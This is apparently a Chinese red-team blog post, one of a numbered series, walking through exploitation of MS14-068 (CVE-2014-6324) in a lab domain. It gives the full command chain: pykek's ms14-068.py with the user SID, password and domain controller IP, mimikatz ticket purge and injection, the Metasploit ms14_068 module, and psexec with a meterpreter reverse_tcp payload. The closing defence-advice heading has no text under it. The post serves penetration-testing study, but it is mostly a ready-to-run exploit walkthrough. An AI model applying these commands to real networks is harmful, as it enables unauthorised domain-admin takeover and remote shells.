大家好,这里是 渗透攻击红队 的第 36 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更
简介
Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。
该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。
如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。
漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
MS14-068
PyKEY 工具包
PyKEY 是一个利用 Kerberos 协议进行渗透测试的工具包。
使用 PyKEY 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。
运行环境 python2.7.
下载地址:https://github.com/mubix/pykek
工具说明
ms14-068.py 是 PyKEY 工具包中的 MS14-068 漏洞利用脚本。
代码语言:javascript复制-u:用户名@域名
-s:用户SID
-d:域控制器地址
-p:明文密码
--rc4:在没有明文密码的情况下,通过NTLM Hash登录
查看域控制器的补丁安装情况
微软针对 MS14-068 漏洞提供补丁为 KB3011780。输入命令查看补丁情况:
代码语言:javascript复制wmic qfe get hotfixid
可以看到域控机器没有安装补丁。
查看用户的 SID
以用户 mary 身份登录,输入命令查看 SID 为:S-1-5-21-1218902331-2157346161-1782232778-1124
代码语言:javascript复制whoami /user
还可以使用这条命令获取域内所有用户的 SID:
代码语言:javascript复制wmic useraccount get name,sid
生成高权限票据
使用 PyKEY 生成高权限票据命令格式:
代码语言:javascript复制ms14-068.py -u 域成员@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
域成员:mary
域名:god.org
mary 的 sid:S-1-5-21-1218902331-2157346161-1782232778-1124
域控制器地址:192.168.2.25
域成员 mary 的密码:admin!@#45
使用命令如下:
代码语言:javascript复制ms14-068.py -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.2.25 -p admin!@#45
之后会在当前路径下生成一个名为 :TGT_mary@god.org.ccache 的票据文件。
查看注入前的权限
首先我们查看域控制器C盘的内容是看不了的:
代码语言:javascript复制dir \OWA2010CN-Godc$
清除内存中所有票据
如果目标主机上内存中有票据的话,我们需要把票据都清除:
代码语言:javascript复制kerberos::purge
将高权限票据注入内存
将票据文件复制到 Mary win7 的机器下的 mimikatz 目录下,使用 mimikatz 将票据注入内存:
代码语言:javascript复制kerberos::ptc "票据文件"
kerberos::ptc "TGT_mary@god.org.ccache"
显示 Injecting ticket:OK ,表示注入成功!
验证权限
使用 dir 列出域控制器 C 盘的内容,这个时候就可以了:
代码语言:javascript复制dir \OWA2010CN-Godc$
Metasploit 中进行测试
在 MSF 中,也有一个针对 MS14-068 漏洞利用的模块:
代码语言:javascript复制use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
它只需要输入域名、被提权用户的密码、被提权用户、被提权用户的SID,域控制器的IP:
域成员:mary
域名:god.org
mary 的 sid:S-1-5-21-1218902331-2157346161-1782232778-1124
域控制器地址:192.168.2.25
域成员 mary 的密码:admin!@#45
代码语言:javascript复制set domain god.org
set password admin!@#45
set user mary
set user_sid S-1-5-21-1218902331-2157346161-1782232778-1124
set rhosts 192.168.2.25
run
运行之后,会在 /root/.msf4/loot 目录下 生成文件:20201110021544_default_192.168.2.25_windows.kerberos_988070.bin
接下来要进行格式转换,在 mimikatz 中输入命令,导出 kirbi 格式的文件:
代码语言:javascript复制kerberos::clist "20201110021544_default_192.168.2.25_windows.kerberos_988070.bin" /export
这个时候转换成了:0-00000000-mary@krbtgt-GOD.ORG.kirbi 文件,我移动到了 Kali 的/root 目录下,一会好操作!
首先需要让域用户 mary win7 上线 MSF:
输入 load kiwi 命令加载 mimikatz:
然后输入命令导入票据:
代码语言:javascript复制kerberos_ticket_use /root/0-00000000-mary@krbtgt-GOD.ORG.kirbi
之后切换后台 bakcgroud ,使用模块进行高权限票据提权:
代码语言:javascript复制use exploit/windows/local/current_user_psexec
set technique PSH
set rhosts 192.168.2.24
set payload windows/meterpreter/reverse_tcp
set session 4
run
防范建议